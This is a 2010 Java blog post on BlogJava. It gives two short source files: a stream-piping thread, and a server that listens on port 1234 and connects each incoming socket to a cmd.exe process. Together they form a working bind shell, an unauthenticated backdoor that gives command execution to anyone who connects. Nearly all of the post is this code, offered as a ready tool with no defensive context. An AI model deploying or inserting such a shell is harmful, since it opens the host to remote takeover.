shnulaa

Never deter till tomorrow that which you can do today
posts - 15, comments - 0, trackbacks - 0, articles - 2
  BlogJava :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 管理

Blind Cmd or bash

Posted on 2010-09-26 16:36 shnulaa 阅读(163) 评论(0)  编辑  收藏 所属分类: java
 1package cn.liuyq;
 2
 3import java.io.BufferedReader;
 4import java.io.BufferedWriter;
 5import java.io.IOException;
 6import java.io.InputStream;
 7import java.io.InputStreamReader;
 8import java.io.OutputStream;
 9import java.io.OutputStreamWriter;
10
11public class CombineStream extends Thread {
12    private InputStream is;
13    private OutputStream os;
14
15    /**
16     * 
17     * @param is
18     * @param os
19     */

20    public CombineStream(InputStream is, OutputStream os) {
21        this.is = is;
22        this.os = os;
23    }

24
25    /**
26     * 
27     * @throws Throwable
28     */

29    public void run() {
30        BufferedReader br = null;
31        BufferedWriter bw = null;
32        try {
33            br = new BufferedReader(new InputStreamReader(is));
34            bw = new BufferedWriter(new OutputStreamWriter(os));
35
36            char[] buffer = new char[1024*5];
37            int charAt;
38            while ((charAt = br.read(buffer, 0, buffer.length)) > 0{
39                bw.write(buffer,0,charAt);
40                bw.flush();
41            }

42
43        }
 catch (Throwable e) {
44
45        }
 finally {
46            if (br != null{
47                try {
48                    br.close();
49                }
 catch (IOException e) {
50                    // TODO Auto-generated catch block
51                    e.printStackTrace();
52                }

53            }

54            if (bw != null{
55                try {
56                    bw.close();
57                }
 catch (IOException e) {
58                    // TODO Auto-generated catch block
59                    e.printStackTrace();
60                }

61            }

62        }

63
64    }

65
66    /**
67     * 
68     */

69    public void destroy() {
70        if (is != null{
71            try {
72                is.close();
73            }
 catch (IOException e) {
74                // TODO Auto-generated catch block
75                e.printStackTrace();
76            }

77        }

78        if (os != null{
79            try {
80                os.close();
81            }
 catch (IOException e) {
82                // TODO Auto-generated catch block
83                e.printStackTrace();
84            }

85        }

86    }

87
88}

89
above is a thread to combine the inputStrean and outputStream.

BlindSever.java
 1package cn.liuyq;
 2
 3import java.io.InputStream;
 4import java.io.OutputStream;
 5import java.net.InetSocketAddress;
 6import java.net.ServerSocket;
 7import java.net.Socket;
 8
 9public class BlindSever {
10    
11    public static void main(String[] args) throws Throwable{
12        
13        ServerSocket serverSocket = new ServerSocket();
14        serverSocket.bind(new InetSocketAddress(1234));
15        Socket socket = serverSocket.accept();
16
17        InputStream is = socket.getInputStream();
18        OutputStream os = socket.getOutputStream();
19        
20        Process process = Runtime.getRuntime().exec("cmd.exe");
21        InputStream prois = process.getInputStream();
22        OutputStream proos = process.getOutputStream();
23        
24        CombineStream cs1 = new CombineStream(is, proos);
25        CombineStream cs2 = new CombineStream(prois, os);
26
27        cs1.start();
28        cs2.start();
29        
30        
31    }

32}

33
open a port and ready to receive a sorcket from client and then combine the cmd process input and output with the sockect input and output

只有注册用户登录后才能发表评论。


网站导航: